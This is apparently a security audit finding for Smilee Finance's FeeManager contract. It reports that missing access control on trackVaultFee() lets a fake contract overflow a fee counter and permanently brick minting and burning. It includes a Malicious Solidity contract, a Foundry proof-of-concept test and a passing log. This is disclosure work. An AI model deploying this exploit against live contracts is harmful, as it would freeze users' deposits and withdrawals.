Shiny Boysenberry Hyena

high

# Attack on ````FeeManager.trackVaultFee()```` to make the IG contract to be bricked

## Summary
Due to missing of correct access control on ````FeeManager.trackVaultFee()````, attackers can call ````trackVaultFee()```` from a fake IG with malicious parameters to cause any subsequent call from the real IG to revert. As ````FeeManager.trackVaultFee()```` is called in ````IG.mint()```` and ````IG.burn()````, this bug would make IG contract to be bricked, and users can't deposit and withdraw fund.

## Vulnerability Detail
The issue arises on L221 of ````trackVaultFee()````, the current access check is not enough.
```solidity
File: src\FeeManager.sol
218:     function trackVaultFee(address vault, uint256 feeAmount) external {
219:         // Check sender:
220:         IDVP dvp = IDVP(msg.sender);
221:         if (vault != dvp.vault()) {
222:             revert WrongVault();
223:         }
224: 
225:         vaultFeeAmounts[vault] += feeAmount;
226: 
227:         emit TransferVaultFee(vault, feeAmount);
228:     }

File: src\DVP.sol
120:     function _mint(
...
126:     ) internal returns (uint256 premium_) {
...
178:         feeManager.trackVaultFee(address(vault), vaultFee);
179: 
...
195:     }

File: src\DVP.sol
231:     function _burn(
...
238:     ) internal returns (uint256 paidPayoff) {
...
329:         feeManager.trackVaultFee(address(vault), vaultFee);
...
332:     }

```

We can use the following ````Malicious```` contract to bypass it and enforce ````vaultFeeAmounts[vault] == type(uint256).max````, then any  subsequent call would revert on L225 due to addition overflow.
```solidity
contract Malicious {
    address public vault;
    FeeManager private _feeManager;

    constructor(FeeManager feeManager) {
        _feeManager = feeManager;
    }

    function attack(address targetVault) public {
        vault = targetVault;
        uint256 amount = _feeManager.vaultFeeAmounts(vault);
        _feeManager.trackVaultFee(vault, type(uint256).max - amount);
    }

}
```

The following is the full coded PoC :
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import "./FeeManager.t.sol";
interface IDVP {
    function vault() external view returns(address);
}

contract Malicious {
    address public vault;
    FeeManager private _feeManager;

    constructor(FeeManager feeManager) {
        _feeManager = feeManager;
    }

    function attack(address targetVault) public {
        vault = targetVault;
        uint256 amount = _feeManager.vaultFeeAmounts(vault);
        _feeManager.trackVaultFee(vault, type(uint256).max - amount);
    }

}

contract TrackVaultFeeBugTest is FeeManagerTest {
    function testTrackVaultFeeBug() public {
        IDVP dvp = IDVP(_fakeDVP);
        address vault = dvp.vault();
        // 1. any mint() or burn() operation of DVP would trigger FeeManager.trackVaultFee()
        vm.startPrank(address(dvp));
        _feeManager.trackVaultFee(vault, 0.1e6);
        vm.stopPrank();

        // 2. do attack
        _attack((dvp));

        // 3. the DVP becomes bricked, no funds can be withdrawn
        vm.startPrank(address(dvp));
        vm.expectRevert();
        _feeManager.trackVaultFee(vault, 0.1e6);
        vm.stopPrank();
    }

    function _attack(IDVP dvp) internal {
        Malicious malicious = new Malicious(_feeManager);
        malicious.attack(dvp.vault());
    }
}
```

And the logs:
```solidity
2024-02-smilee-finance\smilee-v2-contracts> forge test --match-test testTrackVaultFeeBug -vv
[⠰] Compiling...
[⠒] Compiling 1 files with 0.8.21Compiler run successful!
[⠢] Compiling 1 files with 0.8.21
[⠆] Solc 0.8.21 finished in 10.77s

Running 1 test for test/TrackVaultFeeBug.t.sol:TrackVaultFeeBugTest
[PASS] testTrackVaultFeeBug() (gas: 324910)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.74ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


## Impact
 IG contract get bricked, and users can't deposit and withdraw fund.

## Code Snippet
https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/FeeManager.sol#L221
## Tool used

Manual Review

## Recommendation
On allow the  real IG to call ````FeeManager.trackVaultFee()````
